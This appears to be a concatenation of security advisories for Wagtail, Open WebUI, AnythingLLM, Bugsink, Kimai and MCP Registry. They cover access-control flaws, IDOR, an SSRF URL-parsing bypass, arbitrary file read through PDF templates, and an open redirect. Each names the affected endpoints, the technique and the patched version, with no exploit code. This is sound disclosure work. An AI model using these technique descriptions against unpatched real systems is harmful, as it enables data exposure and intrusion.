### Impact A CMS user without the ability to edit a page could still access the history report for the page, potentially resulting in disclosure of sensitive information. ### Patches Patched versions have been released as Wagtail 7.0.7 and 7.3.2. The new 7.4 LTS feature release also incorporates this fix. ### Workarounds No workaround is available. ### Acknowledgements Wagtail thanks Seoyoung Kang @seoyoung-kang who is from AhnLab and also an independent security researcher for reporting this issue. ### For more information If there are any questions or comments about this advisory: * Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html) * Send an email to [security@wagtail.org](mailto:security@wagtail.org) (view the [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).
Open WebUI versions up to 0.8.12 allow authenticated users to enumerate members of private standard channels via the GET /api/v1/channels/{id}/members endpoint, which lacks access control checks present on other channel endpoints. An attacker who knows a private channel's UUID can retrieve the full list of members including their names, emails, roles, and profile images, enabling targeted social engineering and organizational structure reconnaissance. The vulnerability is fixed in version 0.9.0.
Open WebUI versions up to 0.8.12 allow authenticated users to enumerate all knowledge bases across the instance via an incomplete access control allowlist in the retrieval collection validation function. The `_validate_collection_access` function only enforces ownership checks for collections matching `user-memory-*` and `file-*` patterns, allowing any authenticated user to directly query the system-level `knowledge-bases` meta-collection and retrieve the IDs, names, and descriptions of every knowledge base regardless of ownership. This information disclosure vulnerability serves as an enabler for subsequent attacks including knowledge base destruction and content injection, transforming these attacks from theoretically exploitable (requiring random UUID guessing) to trivially exploitable (UUIDs enumerable). CVSS score 4.3 (network-accessible, low privilege required, low confidentiality impact). Patched in version 0.9.0.
AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to version 1.12.1, GET /api/workspace/:slug/tts/:chatId in AnythingLLM returns the text-to-speech audio for another user's chat response within the same workspace because the route validates workspace membership but does not enforce ownership of the targeted chat row. As a result, an authenticated user can access another user's private assistant response in audio form if the chatId is known or guessed. This constitutes an insecure direct object reference (IDOR) affecting private chat response content exposed through the TTS endpoint. This issue has been patched in version 1.12.1.
Bugsink versions 2.1.2 and earlier contain a webhook URL validation bypass (SSRF) where malformed URLs with backslashes and @ symbols pass validation checks but are interpreted differently by Python's urllib parser versus the requests HTTP client, allowing attackers with webhook configuration access to direct outbound POST requests to blocked hosts including loopback and private addresses. The vulnerability is narrower than full SSRF because requests do not follow redirects, the request shape is constrained by URL normalization, and this only affects webhook integrations, not arbitrary outbound proxying.
Kimai versions 2.32.0 through 2.55.x allow System-Admin users with invoice template upload permission to read arbitrary files from the PHP server via malicious PDF invoice templates. The vulnerability exploits mPDF's SetAssociatedFiles() function combined with unsanitized Twig template rendering to access any file readable by the PHP worker process and embed it within generated PDF invoices. No public exploit code or active exploitation has been identified; patch available in version 2.56.0.
Open redirect vulnerability in MCP Registry TrailingSlashMiddleware allows remote attackers to craft protocol-relative URLs that bypass path validation, redirecting users from the trusted registry domain to attacker-controlled sites. Affected versions 1.1.0 through 1.7.4 are vulnerable; vendor-released patch available in version 1.7.5. No public exploit code exists at time of analysis, but the vulnerability is trivially exploitable via simple HTTP requests without authentication.